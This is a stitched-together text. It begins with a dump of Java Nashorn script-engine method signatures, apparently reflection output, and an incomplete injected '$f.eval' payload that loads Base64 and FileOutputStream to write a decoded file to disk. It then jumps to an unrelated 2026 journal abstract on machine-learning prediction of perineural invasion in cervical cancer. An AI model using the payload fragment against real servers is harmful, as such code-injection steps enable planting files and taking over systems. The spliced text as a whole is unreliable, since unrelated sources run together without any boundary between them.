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jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2026, Vol. 46 ›› Issue (7): 1509-1519.doi: 10.12122/j.issn.1673-4254.2026.07.05

Previous Articles    

Interpretable machine learning models for preoperative precision prediction of perineural invasion in cervical cancer to support treatment decision: a multicenter retrospective study

Mengxin ZHU1,4(), Xiao LIU2, Shan ZHAO3, Xin ZHANG1,4, Chao LIU4, Xiankong LIU4, Haochen QI4, Tiesheng HAN1, Dong MA1,4()   

  1. 1.School of Public Health, North China University of Science and Technology, Tangshan 063210, China
    2.Department of Infection Control, Fourth Hospital of Hebei Medical University, Shijiazhuang 051010, China
    3.Department of Cancer Second Division, Second Hospital of Hebei Medical University, Shijiazhuang 050000, China
    4.Laboratory of Biochemistry and Molecular Biology, Hebei Medical University, Shijiazhuang 050011, China
  • Received:2026-01-07 Online:2026-07-20 Published:2026-07-20
  • Contact: Dong MA E-mail:zmx13375521993@163.com;madong119@ hebmu.edu.cn
  • Supported by:
    National Natural Science Foundation of China(81541149)

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Abstract:

Objective To develop an interpretable machine learning model and web-based prediction tool for preoperative risk assessment of perineural invasion (PNI) in cervical cancer. Methods A total of 845 cervical cancer patients undergoing radical surgery at Fourth Hospital of Hebei Medical University were retrospectively enrolled and divided into training and testing sets in a 7:3 ratio, with another 223 cervical cancer patients at Hebei Medical University Second Hospital during the same period serving as the external validation cohort. LASSO regression identified 13 preoperative predictors, which were incorporated into 7 machine learning algorithms. Model performance was evaluated using AUC and decision curve analysis. The optimal model was interpreted using SHAP values and deployed as a web-based prediction tool. Results Of the total of 1068 patients enrolled, 192 (17.98%) were diagnosed to have PNI. Thirteen preoperative features, namely lymphovascular space invasion (LVSI), depth of stromal invasion, lymph node metastasis (LNM), colposcopy-directed biopsy (CDB), tumor maximum diameter, carcinoembryonic antigen, SCC-Ag, platelet-to-lymphocyte ratio (PLR), neutrophil-to-lymphocyte ratio (NLR), lymphocyte-albumin-neutrophil ratio (LANR), menopausal status, age, and histological type were selected. Comparison of model performance revealed that the Extreme Gradient Boosting (XGBoost) model resulted in the best efficacy in both the training and testing datasets with AUC of 0.962 and 0.923 (95% CI: 0.942-0.979 and 0.874-0.960), sensitivity of 0.873 and 0.767, and specificity of 0.939 and 0.942, respectively. Decision curve analysis demonstrated greater net benefit of the XGBoost model across a broader threshold range. The SHAP-XGBoost model showed excellent performance in external validation with an AUC of 0.924 and an accuracy of 0.933. Conclusion The interpretable SHAP-XGBoost model effectively predicts PNI risk preoperatively. The predictive website derived from this model provides an useful tool to facilitate clinical decision-making in cervical cancer treatment.

Key words: cervical cancer, perineural invasion, machine learning